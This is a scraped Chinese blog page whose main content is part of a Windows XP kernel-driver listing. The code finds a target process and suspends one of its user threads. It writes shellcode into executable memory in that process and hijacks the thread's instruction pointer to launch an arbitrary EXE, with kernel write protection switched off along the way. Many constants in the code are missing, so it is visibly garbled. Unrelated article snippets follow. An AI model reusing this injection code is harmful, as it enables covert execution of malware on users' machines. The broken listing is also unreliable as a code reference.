  760. _emit 0x00
  761. _emit 0x00
  762. _emit 0x00
  763. _emit 0x00
  764. _emit 0x00
  765. _emit 0x00
  766. _emit 0x00
  767. _emit 0x00
  768. _emit 0x00
  769. _emit 0x00
  770. _emit 0x00
  771. _emit 0x00
  772. _emit 0x00
  773. _emit 0x00
  774. _emit 0x00
  775. _emit 0x00
  776. _emit 0x00
  777. _emit 0x00
  778. _emit 0x00
  779. _emit 0x00
  780. _emit 0x00
  781. _emit 0x00
  782. _emit 0x00
  783. _emit 0x00
  784. _emit 0x00
  785. }
  786. }
  787.  
  788. ///////////////////////////////////////////////////////
  789. //
  790. // 查找ZwSuspendThread和ZwResumeThread
  791. //
  792. ///////////////////////////////////////////////////////
  793. ULONG FindFunc()
  794. {
  795. KeSuspendThread = (pfnZwSuspendThread)GetSSDTApi("ZwSuspendThread");
  796. KeResumeThread = (pfnZwSuspendThread)GetSSDTApi("ZwResumeThread");
  797. if ( KeSuspendThread &&
  798. KeResumeThread)
  799. return TRUE;
  800. return FALSE;
  801.  
  802. }
  803.  
  804. ///////////////////////////////////////////////////////////////
  805. //
  806. // 注入ShellCode到线程,分配内存来拷贝ShellCode
  807. //
  808. ///////////////////////////////////////////////////////////////
  809. VOID InjectShellCode(PETHREAD pThread,PEPROCESS pProcess) {
  810. ULONG i;
  811. PX86_KTRAP_FRAME pTrapFrame;
  812. PCLIENT_ID pCid;
  813. OBJECT_ATTRIBUTES oa;
  814. HANDLE hProcess;
  815. NTSTATUS ntstatus;
  816. PVOID lpTargetPath = NULL;
  817. char *path ;
  818. ULONG pathAddr;
  819. DbgPrint("Inject Start\n");
  820.  
  821. // 在try块中挂起线程,看WRK发现SuspendThread失败时会抛异常
  822. __try {
  823. KeSuspendThread(pThread, NULL);
  824. }
  825. __except() {
  826. return;
  827. }
  828.  
  829. // PTrapFrame中就是该线程的各个寄存器的值
  830. pTrapFrame = *(PX86_KTRAP_FRAME*)((ULONG)pThread + g_KThreadOffset.wOffsetTrapFrame);
  831.  
  832. // 将ShellCode中的0x12345678改成eip,为了ShellCode执行完后自动跳回
  833. for( i = (ULONG)ShellCode; i <= (ULONG)ShellCode + 0x20; ++i ) {
  834. if( MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i+)) ){
  835. if ( *(PULONG)i == 0x12345678 )
  836. {
  837. DbgPrint("find modify point\n");
  838. WPOFF();
  839. *(PULONG)i = pTrapFrame->Eip;
  840. WPON();
  841. break;
  842. }
  843. }
  844. }
  845.  
  846. WPOFF();
  847. lpTargetPath = (PVOID)((ULONG)ShellCode + );
  848. memcpy((PUCHAR)(ULONG)ShellCode + , &g_WinExec, ); //填写winexec地址
  849. memset(lpTargetPath, , ); //
  850. WPON();
  851.  
  852. // 下面的代码是分配空间来放置ShellCode
  853. // 调用一些相应函数来实现更好,我比较懒,就硬编码了
  854. InitializeObjectAttributes(&oa,,,,);
  855. pCid = (CLIENT_ID*)((ULONG)pThread + /*0x1ec*/g_KThreadOffset.wOffsetCid); // Cid XP SP2
  856. ntstatus = ZwOpenProcess(
  857. &hProcess,
  858. PROCESS_ALL_ACCESS,
  859. &oa,
  860. pCid
  861. );
  862. if ( NT_SUCCESS(ntstatus) )
  863. {
  864. PVOID pBuff = NULL;
  865. SIZE_T size = 0x64;
  866. ntstatus = ZwAllocateVirtualMemory(
  867. hProcess,
  868. &pBuff,
  869. ,
  870. &size,
  871. MEM_RESERVE | MEM_COMMIT,
  872. PAGE_EXECUTE_READWRITE
  873. );
  874. if( NT_SUCCESS(ntstatus) )
  875. {
  876. KAPC_STATE kapc;
  877. // 拷贝ShellCode到目标进程中去
  878. KeStackAttachProcess((PRKPROCESS)pProcess,&kapc);
  879.  
  880. RtlCopyMemory(pBuff,ShellCode,size);//先拷贝ShellCode过去
  881. path = "C:\\tool\\dd2.exe";
  882. pathAddr = ((ULONG)pBuff + );
  883. RtlCopyMemory( (PVOID)((ULONG)pBuff + ), path, strlen(path) );//填写运行的路径 path
  884. RtlCopyMemory( (PVOID)((ULONG)pBuff + ), &pathAddr, );//填写路径的地址
  885.  
  886. KeUnstackDetachProcess (&kapc);
  887. // pTrapFrame->Eip指向ShellCode
  888. pTrapFrame->Eip = (ULONG)pBuff;
  889. }
  890. ZwClose(hProcess);
  891. }
  892. // 恢复线程执行
  893. KeResumeThread(pThread, NULL);
  894. DbgPrint("Inject End\n");
  895. }
  896.  
  897. ////////////////////////////////////////////////
  898. //
  899. // 注入ShellCode到进程
  900. //
  901. ////////////////////////////////////////////////
  902. #define PS_CROSS_THREAD_FLAGS_SYSTEM 0x00000010UL
  903. #define IS_SYSTEM_THREAD(Thread) ((((Thread)+0x280)&PS_CROSS_THREAD_FLAGS_SYSTEM) != 0)
  904. BOOLEAN Inject(char* strProc, int len)
  905. {
  906. PEPROCESS pProcess;
  907. PETHREAD pThread;
  908. PLIST_ENTRY pListHead, pNextEntry;
  909. PLIST_ENTRY pThListHead, pThNextEntry;
  910. UCHAR SuspendCount;
  911. ULONG CrossThreadFlags;
  912.  
  913. pProcess = PsGetCurrentProcess();
  914. pListHead = (PLIST_ENTRY)((ULONG)pProcess + g_EProcessOffset.wOffsetFlink); //0x88 //ActiveProcessLinks
  915. pNextEntry = pListHead;
  916.  
  917. // 先找到要注入的进程,通过ZwQuerySystemInformation来查找更稳定一些
  918. // 不过本人很讨厌那个繁琐的函数……
  919. do
  920. {
  921. pProcess = (PEPROCESS)((ULONG)pNextEntry - g_EProcessOffset.wOffsetFlink/*0x88*/);
  922. if ( !_strnicmp((char*)pProcess + g_EProcessOffset.wOffsetName/*0x174*/, strProc, len) )
  923. {
  924. DbgPrint("find process\n");
  925. pThListHead = (PLIST_ENTRY)((ULONG)pProcess + /*0x190*/g_EProcessOffset.wOffsetThreadListHead); // ThreadListHead, XP SP2
  926. pThNextEntry = pThListHead->Flink;
  927. while ( pThNextEntry != pThListHead)
  928. {
  929. // 接着查找符合条件的线程
  930.  
  931. pThread = (PETHREAD)((ULONG)pThNextEntry - /*0x22c*/g_KThreadOffset.wOffsetThreadListEntry); // ThreadListEntry, XP SP2
  932.  
  933. SuspendCount = *(PUCHAR)((ULONG)pThread + /*0x1b9*/g_KThreadOffset.wOffsetSuspendCount);
  934. CrossThreadFlags = *(PULONG)((ULONG)pThread + /*0x248*/g_KThreadOffset.wOffsetCrossThreadFlags);
  935.  
  936. if( !SuspendCount && (CrossThreadFlags & PS_CROSS_THREAD_FLAGS_SYSTEM) == )
  937. {
  938. // 非Suspend,非退出态,非内核线程
  939. DbgPrint("find thread\n");
  940.  
  941. // 注入找到的线程
  942. InjectShellCode(pThread,pProcess);
  943. return TRUE;
  944. break;
  945. }
  946. pThNextEntry = pThNextEntry->Flink;
  947. }
  948. break;
  949. }
  950. pNextEntry = pNextEntry->Flink;
  951. } while(pNextEntry != pListHead);
  952. return FALSE;
  953. }
  954.  
  955. /************************************************************************/
  956. /* 从内核中注入RING3线程
  957. 运行我们指定的EXE程序
  958. */
  959. /************************************************************************/
  960. BOOLEAN RunMyProcess(char* strProc, int len)
  961. {
  962.  
  963. if ( !FindFunc() )
  964. {
  965. DbgPrint("Find KexxxThread failed!\n");
  966. return FALSE;
  967. }
  968.  
  969. if ( !Inject(strProc, strlen(strProc)) )
  970. {
  971. KdPrint(("Inject failed\n"));
  972. return FALSE;
  973. }
  974. return TRUE;
  975. }
  976.  
  977. #endif

驱动插ring3线程执行代码的更多相关文章

  1. 卸载AppDomain动态调用DLL异步线程执行失败

    应用场景 动态调用DLL中的类,执行类的方法实现业务插件功能 使用Assembly 来实现 但是会出现逻辑线程数异常的问题 使用AppDomain 实现动态调用,并卸载. 发现问题某个插件中开启异步线 ...

  2. 线程执行synchronized同步代码块时再次重入该锁过程中抛异常,是否会释放锁

    一个线程执行synchronized同步代码时,再次重入该锁过程中,如果抛出异常,会释放锁吗? 如果锁的计数器为1,抛出异常,会直接释放锁: 那如果锁的计数器为2,抛出异常,会直接释放锁吗? 来简单测 ...

  3. 构建一个基于事件分发驱动的EventLoop线程模型

    在之前的文章中我们详细介绍过Netty中的NioEventLoop,NioEventLoop从本质上讲是一个事件循环执行器,每个NioEventLoop都会绑定一个对应的线程通过一个for(;;)循环 ...

  4. Java多线程--让主线程等待子线程执行完毕

    使用Java多线程编程时经常遇到主线程需要等待子线程执行完成以后才能继续执行,那么接下来介绍一种简单的方式使主线程等待. java.util.concurrent.CountDownLatch 使用c ...

  5. java并发编程学习:如何等待多个线程执行完成后再继续后续处理(synchronized、join、FutureTask、CyclicBarrier)

    多线程应用中,经常会遇到这种场景:后面的处理,依赖前面的N个线程的处理结果,必须等前面的线程执行完毕后,后面的代码才允许执行. 在我不知道CyclicBarrier之前,最容易想到的就是放置一个公用的 ...

  6. C#实现每隔一段时间执行代码(多线程)

    总结以下三种方法,实现c#每隔一段时间执行代码: 方法一:调用线程执行方法,在方法中实现死循环,每个循环Sleep设定时间: 方法二:使用System.Timers.Timer类: 方法三:使用Sys ...

  7. java并发:获取线程执行结果(Callable、Future、FutureTask)

    初识Callable and Future 在编码时,我们可以通过继承Thread或是实现Runnable接口来创建线程,但是这两种方式都存在一个缺陷:在执行完任务之后无法获取执行结果.如果需要获取执 ...

  8. Java多线程——<三>简单的线程执行:Executor

    一.概述 按照<Java多线程——<一><二>>中所讲,我们要使用线程,目前都是显示的声明Thread,并调用其start()方法.多线程并行,明显我们需要声明多个 ...

  9. c#等待所有子线程执行完毕方法

    当我们在使用线程中,你会发现主线结束后子线程的结果才显示出来.现在我要等待所以子线程结束,然后在显示结果,怎么做呢? 方法如下: 1.使用 ManualResetEvent,代码如下:  using  ...

随机推荐

  1. Github上关于iOS的各种开源项目集合(强烈建议大家收藏,查看,总有一款你需要)

    下拉刷新 EGOTableViewPullRefresh - 最早的下拉刷新控件. SVPullToRefresh - 下拉刷新控件. MJRefresh - 仅需一行代码就可以为UITableVie ...

  2. Java中的四舍五入

    经典案例分析:public class RoundTest {    public static void main(String[] args) {        System.err.printl ...

  3. HttpClient 4.5.x 工具类设计与实现

    最近,业务需要在java服务端发起http请求,需要实现"GET","POST","PUT"等基本方法.于是想以 "HttpCli ...

  4. bate阶段项目总结

    Beta里程碑总结 设想和目标 1. 我们的软件要解决什么问题?是否定义得很清楚?是否对典型用户和典型场景有清晰的描述? 要解决的问题是如何实现消息的发布与查看以及个人主页的实现:定义的基本清楚,团队 ...

  5. js之oop <六>数组的crud(增删改)

    增 Create: push(); 向数组尾添加元素 var arr = [2,6,8,7,4]; arr.push(100); console.log(arr); //输出 [2,6,8,7,4,1 ...

  6. 参考__CSS参考

    库 CsshakeAnimate.css

  7. 求助sublime snippet

    单个文件多个snippets不能生效?求助!(已解决) 文件保存路径:F:\work\sublime\Data\Packages\User\completions\xp.sublime-complet ...

  8. PHP 知识结构

  9. PHP Fatal Error: call to undefined function mysql_connect() [duplicate]

    You shouldn't use mysql_* functions to start with. They are deprecated as of PHP 5.5. Use mysqli or ...

  10. [SoapUI] Groovy在SoapUI里获取Text文本第一行数据

    // get external txt file datadef groovyUtils =new com.eviware.soapui.support.GroovyUtils(context)def ...